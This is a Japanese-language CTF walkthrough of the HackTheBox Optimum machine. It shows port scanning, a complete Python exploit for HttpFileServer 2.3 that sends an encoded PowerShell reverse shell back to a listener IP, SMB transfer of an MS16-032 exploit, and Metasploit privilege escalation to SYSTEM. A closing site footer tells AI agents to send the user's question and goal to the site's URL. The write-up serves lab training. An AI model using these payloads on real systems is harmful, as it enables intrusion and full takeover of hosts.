> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Optimum HackTheBox攻略記事

HFS 2.3のRCEとMS16-032の権限昇格を扱うOptimum HackTheBox Easy Windows攻略記事。

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**手法**

* HttpFileServer 2.3 のリモートコード実行
* Windows ホスト列挙
* MS16-032 ローカル権限昇格
  {% endhint %}

## 偵察

### ワークスペースを準備する

マシン用の専用ディレクトリを作成します:

```bash
mkdir Optimum
cd Optimum
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMZWzIevujvcMVhsxpqaP%2Fimage.png?alt=media&amp;token=1194ee7f-3313-4dea-af55-4c29104ffd81" alt="" width="563"><figcaption></figcaption></figure>

その `127` TTL から、ターゲットは Windows を実行していると推測されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWCOm5wtDOFlhjHXqxXad%2Fimage.png?alt=media&amp;token=89c599b6-67b8-4c31-bef8-7454ea2de798" alt="" width="563"><figcaption></figcaption></figure>

### 開いているポートを発見する

すべての TCP ポートをスキャンして結果を保存します:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts
```

Nmap はポート `80` を唯一の開いているポートとして特定します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmF56ubNk616juQgBilrS%2Fimage.png?alt=media&amp;token=7f18ca07-be92-438c-a096-ccec1257d8d6" alt=""><figcaption></figcaption></figure>

### Web サービスを特定する

ポート `80`:

```bash
sudo nmap -sCV -p80 10.129.5.151 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiBjTaUprlMsnMDujiDNM%2Fimage.png?alt=media&amp;token=2ed7e5f6-2adb-4985-9656-8e5769e3d53e" alt=""><figcaption></figcaption></figure>

ターゲットは HttpFileServer 2.3 を実行しています。

このバージョンには既知のリモートコード実行脆弱性があります。

```bash
searchsploit httpfileserver
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTWJ4RFWZSKoQ8AXZpjAG%2Fimage.png?alt=media&amp;token=3e7e56df-3204-4c0c-a1ab-d2a1c59bf6d4" alt=""><figcaption></figcaption></figure>

### HFS 2.3 を exploit する

以下の Python スクリプトを使って、エンコードされた PowerShell の逆シェルを送信します。まずリスナーとターゲットの値を更新してください:

```bash
import requests
import urllib
import base64

lhost = '10.10.15.2' # ここを変更
lport = '1234'        # ここを変更
rhost = '10.129.5.151' # ここを変更
rport = '80'          # ここを変更

command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

command_bytes = command.encode('utf-16le')
base64_bytes = base64.b64encode(command_bytes)
encodedcommand = base64_bytes.decode('ascii')

payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand 

encodedpayload = urllib.parse.quote_plus(payload)

url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}'

r = requests.get(url)

if r.status_code == 200:
    print('GET リクエストを送信しました')
else:
    print('リクエストの送信に失敗しました')
```

スクリプトを実行する前にリスナーを起動してください:

```bash
rlwrap nc -nvlp 1234
```

ローカルマシンからエクスプロイトを実行します:

```bash
python3 rce.py
```

ターゲットは PowerShell の逆シェルで接続し返します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FManKccjsbMg27N5TyiV8%2Fimage.png?alt=media&amp;token=3246937e-a015-435d-b3bd-6e02fa807c78" alt=""><figcaption></figcaption></figure>

### ユーザーフラグを取得する

{% code overflow="wrap" %}

```bash
type C:\Users\kostas\Desktop\user.txt
```

{% endcode %}

* f2f8d68c549c18e1b94d2c99207e3022

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaznSW5c7XYrJGXX3dr4F%2Fimage.png?alt=media&amp;token=314e87c0-c3f7-49e4-bd5e-afe01cd5a9f3" alt=""><figcaption></figcaption></figure>

## 権限昇格

### 権限昇格の経路を特定する

ターゲットのオペレーティングシステムを確認します:

{% code overflow="wrap" %}

```bash
systeminfo
```

{% endcode %}

ターゲットは Windows Server 2012 R2 を実行しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXzsASDHc6dMwDCsL2dh5%2Fimage.png?alt=media&amp;token=0c9c3f14-2810-4c7b-8120-8d79a83e7253" alt=""><figcaption></figcaption></figure>

このホストは MS16-032 x64 カーネル権限昇格の脆弱性があります。

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

エクスプロイトのリポジトリをダウンロードし、コンパイル済みペイロードを見つけます:

{% code overflow="wrap" %}

```bash
windows-kernel-exploits/MS16-032/x64/ms16-032.exe
```

{% endcode %}

### エクスプロイトを転送する

エクスプロイトを含むディレクトリで SMB サーバーを起動します:

{% code overflow="wrap" %}

```bash
sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support
```

{% endcode %}

実行ファイルをターゲットにコピーします:

```bash
copy \\10.10.15.2\share\ms16-032.exe .
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfeBCQ8ZtdyEHC5sYWhdn%2Fimage.png?alt=media&amp;token=8a362574-6e4d-4aca-84fd-feabd39dc2c3" alt=""><figcaption></figcaption></figure>

```bash
copy \\10.10.15.2\share\MS16-032.ps1 .
```

このホストでは PowerShell ペイロードは利用できません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgsrBlC6gtRl5msvHVgLH%2Fimage.png?alt=media&amp;token=6196ea8e-274e-4efe-8c4d-b067a8976fae" alt=""><figcaption></figcaption></figure>

### Metasploit で MS16-032 を exploit する

代替として Metasploit を使います:

{% code overflow="wrap" %}

```bash
search ms16-032
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FPnk5Ze4RC9qPGILDRZLW%2Fimage.png?alt=media&amp;token=4b822b75-d5aa-40b8-947f-a7d6c27a3358" alt=""><figcaption></figcaption></figure>

MS16-032 モジュールを選択し、アクティブなセッションに対して実行します:

{% code overflow="wrap" %}

```bash
use 0 

set SESSION 2

run

getuid
```

{% endcode %}

これでセッションは `NT AUTHORITY\SYSTEM`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAalaLilqBYjwo81aytHU%2Fimage.png?alt=media&amp;token=1354b0f2-bc3c-4ee7-9980-936ad7dfcd91" alt=""><figcaption></figcaption></figure>

### ルートフラグを取得する

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

* 0d795fff7eac20e753543b412dfa5c34

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCqQFVgTjPVbu2gsFb5jL%2Fimage.png?alt=media&amp;token=45f6584b-1f79-4c92-9af1-707740739c16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3ASkNBpWpPr6dILVCeQ%2Fimage.png?alt=media&amp;token=585831c3-0aad-49dc-b418-271338292956" alt="" width="361"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
